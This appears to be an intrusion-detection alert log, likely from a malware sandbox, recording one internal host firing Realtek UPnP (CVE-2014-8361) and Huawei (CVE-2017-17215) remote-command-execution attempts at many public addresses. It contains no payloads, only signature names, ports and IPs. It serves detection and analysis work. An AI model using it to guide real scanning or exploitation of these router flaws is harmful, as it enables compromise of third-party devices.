07/20/24-23:01:57.655207	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47706	52869	192.168.2.23	219.253.193.1
07/20/24-23:01:43.498156	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47550	52869	192.168.2.23	45.122.145.145
07/20/24-23:01:53.099889	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60370	52869	192.168.2.23	81.96.129.112
07/20/24-23:01:08.677189	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54180	52869	192.168.2.23	141.31.223.242
07/20/24-23:01:54.277123	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36376	52869	192.168.2.23	18.232.199.152
07/20/24-23:01:55.994693	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53774	52869	192.168.2.23	210.209.80.73
07/20/24-23:01:58.751559	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46830	52869	192.168.2.23	2.29.217.143
07/20/24-23:00:57.221248	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44040	37215	192.168.2.23	41.242.31.133
07/20/24-23:01:43.147883	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59578	52869	192.168.2.23	170.93.66.190
07/20/24-23:01:31.312736	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45590	52869	192.168.2.23	111.38.32.209
07/20/24-23:01:43.023857	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45074	52869	192.168.2.23	49.238.106.168
07/20/24-23:01:42.497728	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37924	52869	192.168.2.23	118.3.222.239
07/20/24-23:01:00.654988	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60584	37215	192.168.2.23	41.215.110.81
07/20/24-23:02:01.645032	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33712	52869	192.168.2.23	13.93.47.50
07/20/24-23:01:11.642449	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59528	37215	192.168.2.23	157.66.219.47
07/20/24-23:01:56.579360	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39336	52869	192.168.2.23	120.153.158.217
07/20/24-23:01:50.845923	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55978	52869	192.168.2.23	92.64.232.40
07/20/24-23:01:13.157651	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43672	52869	192.168.2.23	217.255.100.151
07/20/24-23:01:02.046626	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54992	37215	192.168.2.23	41.134.147.250
07/20/24-23:00:59.204975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55528	37215	192.168.2.23	210.132.156.163
07/20/24-23:01:03.077930	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42130	52869	192.168.2.23	155.22.90.90
07/20/24-23:01:14.049602	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57588	37215	192.168.2.23	222.200.88.35
07/20/24-23:01:44.945909	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42050	52869	192.168.2.23	153.239.16.237
07/20/24-23:01:06.988055	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34964	37215	192.168.2.23	197.33.180.41
07/20/24-23:01:08.575986	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57642	52869	192.168.2.23	162.63.105.168
07/20/24-23:01:07.016889	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35002	37215	192.168.2.23	157.198.64.39
07/20/24-23:01:44.944836	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51548	52869	192.168.2.23	151.41.38.224
07/20/24-23:01:53.237113	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51226	52869	192.168.2.23	160.211.55.1
07/20/24-23:01:55.666677	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41774	52869	192.168.2.23	125.67.244.75
07/20/24-23:01:40.301143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46342	37215	192.168.2.23	165.249.91.251
07/20/24-23:02:08.291319	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44488	52869	192.168.2.23	44.124.10.6
07/20/24-23:01:31.326982	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44320	52869	192.168.2.23	112.202.108.197
07/20/24-23:01:56.239090	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41492	52869	192.168.2.23	164.216.95.45
07/20/24-23:01:31.974551	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49040	37215	192.168.2.23	41.130.110.142
07/20/24-23:01:46.159166	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60328	52869	192.168.2.23	111.211.116.144
07/20/24-23:01:43.180913	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33620	52869	192.168.2.23	125.185.15.217
07/20/24-23:01:26.145029	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33326	52869	192.168.2.23	121.166.138.14
07/20/24-23:01:42.474339	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37058	52869	192.168.2.23	71.221.213.203
07/20/24-23:01:14.366797	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33794	52869	192.168.2.23	61.157.174.11
07/20/24-23:01:41.431519	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60390	52869	192.168.2.23	147.68.197.111
07/20/24-23:01:42.477986	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39374	52869	192.168.2.23	82.79.140.185
07/20/24-23:02:48.447183	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49718	52869	192.168.2.23	204.115.21.200
07/20/24-23:01:25.589558	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54630	37215	192.168.2.23	197.200.133.254
07/20/24-23:00:57.221624	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56366	37215	192.168.2.23	197.221.173.151
07/20/24-23:01:44.971718	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54478	52869	192.168.2.23	136.252.196.177
07/20/24-23:01:43.087294	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48788	52869	192.168.2.23	76.8.56.105
07/20/24-23:01:44.398920	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34292	52869	192.168.2.23	168.75.18.77
07/20/24-23:01:45.453485	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34196	52869	192.168.2.23	49.79.18.186
07/20/24-23:01:51.963339	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40804	52869	192.168.2.23	67.67.248.34
07/20/24-23:01:01.469737	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54336	52869	192.168.2.23	24.167.37.167
07/20/24-23:01:48.701126	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38500	52869	192.168.2.23	48.211.124.159
07/20/24-23:01:31.975158	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47600	37215	192.168.2.23	157.158.210.182
07/20/24-23:01:44.362240	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59436	52869	192.168.2.23	66.43.237.112
07/20/24-23:01:40.291616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50054	37215	192.168.2.23	38.187.179.55
07/20/24-23:01:01.628180	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53798	52869	192.168.2.23	94.221.100.187
07/20/24-23:01:52.081188	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40076	52869	192.168.2.23	2.18.140.250
07/20/24-23:01:41.909668	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37138	52869	192.168.2.23	58.43.60.192
07/20/24-23:01:42.962388	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42806	52869	192.168.2.23	189.200.249.59
07/20/24-23:01:42.706162	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36246	52869	192.168.2.23	137.51.1.150
07/20/24-23:01:01.623383	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56122	52869	192.168.2.23	34.53.37.254
07/20/24-23:01:24.943244	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57416	37215	192.168.2.23	197.211.52.185
07/20/24-23:01:02.047411	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42784	37215	192.168.2.23	83.22.51.58
07/20/24-23:01:02.076414	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44728	37215	192.168.2.23	41.232.178.1
07/20/24-23:01:43.478924	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43554	52869	192.168.2.23	113.10.123.41
07/20/24-23:01:43.239928	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36796	52869	192.168.2.23	185.111.137.113
07/20/24-23:01:45.350108	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57110	52869	192.168.2.23	179.57.28.204
07/20/24-23:01:45.143033	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34238	52869	192.168.2.23	219.30.72.57
07/20/24-23:01:47.692209	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40688	52869	192.168.2.23	5.36.69.33
07/20/24-23:01:50.370395	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39598	52869	192.168.2.23	206.37.245.255
07/20/24-23:01:42.280418	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54748	52869	192.168.2.23	75.163.230.218
07/20/24-23:01:43.282556	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57398	52869	192.168.2.23	202.1.176.48
07/20/24-23:01:47.995637	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54930	52869	192.168.2.23	17.78.214.126
07/20/24-23:01:45.489343	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46452	52869	192.168.2.23	50.90.160.227
07/20/24-23:01:43.199406	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53044	52869	192.168.2.23	192.54.139.100
07/20/24-23:01:10.703412	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41478	52869	192.168.2.23	185.44.122.49
07/20/24-23:01:44.546338	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57954	52869	192.168.2.23	203.253.92.60
07/20/24-23:01:59.738271	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44640	52869	192.168.2.23	35.61.70.96
07/20/24-23:01:52.001138	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41364	52869	192.168.2.23	9.230.247.23
07/20/24-23:01:02.104572	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44332	37215	192.168.2.23	41.132.238.252
07/20/24-23:01:43.039504	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37938	52869	192.168.2.23	40.50.75.236
07/20/24-23:01:58.216922	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49966	52869	192.168.2.23	187.61.181.140
07/20/24-23:01:48.369883	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53018	52869	192.168.2.23	202.109.173.165
07/20/24-23:02:11.791090	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50920	52869	192.168.2.23	91.117.171.160
07/20/24-23:01:42.656963	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40824	52869	192.168.2.23	129.151.175.195
07/20/24-23:02:00.056416	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43614	52869	192.168.2.23	147.8.193.70
07/20/24-23:01:21.936545	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60996	37215	192.168.2.23	157.58.196.213
07/20/24-23:01:54.702517	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33592	52869	192.168.2.23	83.238.5.172
07/20/24-23:01:41.280927	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45798	52869	192.168.2.23	187.89.64.185
07/20/24-23:01:42.592254	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59972	52869	192.168.2.23	49.57.98.237
07/20/24-23:01:47.632780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53350	52869	192.168.2.23	41.48.241.197
07/20/24-23:01:44.894920	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56832	52869	192.168.2.23	149.227.25.96
07/20/24-23:01:11.630649	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43630	37215	192.168.2.23	197.208.141.188
07/20/24-23:01:21.936545	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45502	37215	192.168.2.23	157.80.129.250
07/20/24-23:01:46.985099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51738	52869	192.168.2.23	23.8.251.245
07/20/24-23:01:02.048113	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38422	37215	192.168.2.23	41.227.71.109
07/20/24-23:01:46.254249	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40882	52869	192.168.2.23	87.152.13.65
07/20/24-23:01:20.132103	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33446	37215	192.168.2.23	41.117.151.237
07/20/24-23:01:41.882275	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34572	52869	192.168.2.23	192.18.152.238
07/20/24-23:01:44.099658	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49536	52869	192.168.2.23	90.126.99.183
07/20/24-23:01:20.181938	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35458	37215	192.168.2.23	23.105.53.195
07/20/24-23:02:02.527007	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39876	52869	192.168.2.23	217.255.162.70
07/20/24-23:01:51.888686	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51016	52869	192.168.2.23	41.47.146.130
07/20/24-23:00:59.158279	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37060	37215	192.168.2.23	157.30.105.107
07/20/24-23:01:43.096223	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48996	52869	192.168.2.23	75.199.56.180
07/20/24-23:01:53.937783	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36150	52869	192.168.2.23	188.131.252.163
07/20/24-23:01:27.749737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34842	37215	192.168.2.23	166.117.175.116
07/20/24-23:01:08.563906	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50832	52869	192.168.2.23	191.79.195.70
07/20/24-23:01:58.031141	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54370	52869	192.168.2.23	68.209.51.160
07/20/24-23:01:43.118475	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55698	52869	192.168.2.23	151.149.108.97
07/20/24-23:02:05.506482	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47272	52869	192.168.2.23	75.15.32.116
07/20/24-23:01:11.633481	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53114	37215	192.168.2.23	197.132.172.129
07/20/24-23:01:44.349550	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41078	52869	192.168.2.23	202.203.199.212
07/20/24-23:01:43.266134	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33396	52869	192.168.2.23	219.30.72.57
07/20/24-23:01:52.543362	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58208	52869	192.168.2.23	83.201.129.18
07/20/24-23:01:01.886452	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51918	52869	192.168.2.23	105.234.100.63
07/20/24-23:01:47.700893	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38084	52869	192.168.2.23	92.55.62.242
07/20/24-23:01:44.469580	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33848	52869	192.168.2.23	39.189.20.84
07/20/24-23:01:50.848727	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53540	52869	192.168.2.23	155.90.77.175
07/20/24-23:01:21.928521	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47998	37215	192.168.2.23	157.74.212.139
07/20/24-23:01:44.996260	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39878	52869	192.168.2.23	190.104.185.79
07/20/24-23:02:16.647796	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49650	52869	192.168.2.23	114.52.153.70
07/20/24-23:01:04.114673	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48702	37215	192.168.2.23	41.9.233.106
07/20/24-23:01:02.365539	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50400	52869	192.168.2.23	114.20.70.247
07/20/24-23:01:42.189694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52172	52869	192.168.2.23	128.242.86.47
07/20/24-23:01:40.285039	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44938	37215	192.168.2.23	197.32.142.171
07/20/24-23:01:59.905375	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44260	52869	192.168.2.23	112.175.144.226
07/20/24-23:01:07.036064	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47242	37215	192.168.2.23	41.85.228.41
07/20/24-23:01:41.374418	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38966	52869	192.168.2.23	150.125.163.90
07/20/24-23:01:52.144379	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56624	52869	192.168.2.23	92.182.23.52
07/20/24-23:00:57.221132	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37174	37215	192.168.2.23	157.233.134.27
07/20/24-23:01:53.537092	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60534	52869	192.168.2.23	167.207.100.170
07/20/24-23:01:51.683848	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39894	52869	192.168.2.23	201.63.23.173
07/20/24-23:01:49.011895	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43950	52869	192.168.2.23	59.76.186.58
07/20/24-23:01:04.094795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49922	37215	192.168.2.23	41.65.35.124
07/20/24-23:01:45.432263	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38040	52869	192.168.2.23	199.44.188.95
07/20/24-23:01:55.423260	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32990	52869	192.168.2.23	37.133.189.92
07/20/24-23:01:07.075937	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55146	37215	192.168.2.23	41.83.154.226
07/20/24-23:01:08.598416	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41014	52869	192.168.2.23	25.222.87.118
07/20/24-23:01:52.701293	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53376	52869	192.168.2.23	61.27.196.68
07/20/24-23:02:36.102280	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46296	52869	192.168.2.23	68.53.164.7
07/20/24-23:01:43.058685	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60424	52869	192.168.2.23	46.141.217.184
07/20/24-23:01:08.607816	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43644	52869	192.168.2.23	78.200.30.164
07/20/24-23:01:42.608153	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37398	52869	192.168.2.23	143.66.245.70
07/20/24-23:01:02.054387	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53574	37215	192.168.2.23	221.165.24.130
07/20/24-23:01:50.807258	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32990	52869	192.168.2.23	212.5.145.192
07/20/24-23:02:11.630112	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37112	52869	192.168.2.23	8.215.93.59
07/20/24-23:01:47.006773	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55532	52869	192.168.2.23	116.238.28.166
07/20/24-23:01:08.584506	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42566	52869	192.168.2.23	49.39.36.55
07/20/24-23:01:44.698984	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40512	52869	192.168.2.23	154.31.9.47
07/20/24-23:01:31.976984	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57906	37215	192.168.2.23	41.239.105.156
07/20/24-23:01:41.404974	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40958	52869	192.168.2.23	63.208.18.63
07/20/24-23:01:48.108304	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43398	52869	192.168.2.23	91.225.198.252
07/20/24-23:01:02.093903	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41692	37215	192.168.2.23	155.230.89.206
07/20/24-23:01:04.082384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44494	37215	192.168.2.23	41.28.46.127
07/20/24-23:02:04.091867	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36946	52869	192.168.2.23	153.43.82.157
07/20/24-23:01:57.346494	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60314	52869	192.168.2.23	143.152.117.80
07/20/24-23:01:56.265254	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33578	52869	192.168.2.23	216.27.105.182
07/20/24-23:01:57.313050	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52776	52869	192.168.2.23	181.200.167.6
07/20/24-23:01:25.948093	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43810	52869	192.168.2.23	109.162.13.246
07/20/24-23:01:00.640312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35972	37215	192.168.2.23	209.253.85.199
07/20/24-23:01:09.081648	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40564	52869	192.168.2.23	129.27.232.7
07/20/24-23:01:08.563416	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46698	52869	192.168.2.23	36.193.87.124
07/20/24-23:01:21.915268	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44866	37215	192.168.2.23	157.246.199.209
07/20/24-23:01:57.169212	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44662	52869	192.168.2.23	155.107.33.68
07/20/24-23:01:34.045143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51032	37215	192.168.2.23	157.12.69.99
07/20/24-23:01:13.649188	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51914	52869	192.168.2.23	205.132.5.218
07/20/24-23:01:59.992284	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47644	52869	192.168.2.23	161.136.114.82
07/20/24-23:01:48.255782	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41630	52869	192.168.2.23	146.185.97.186
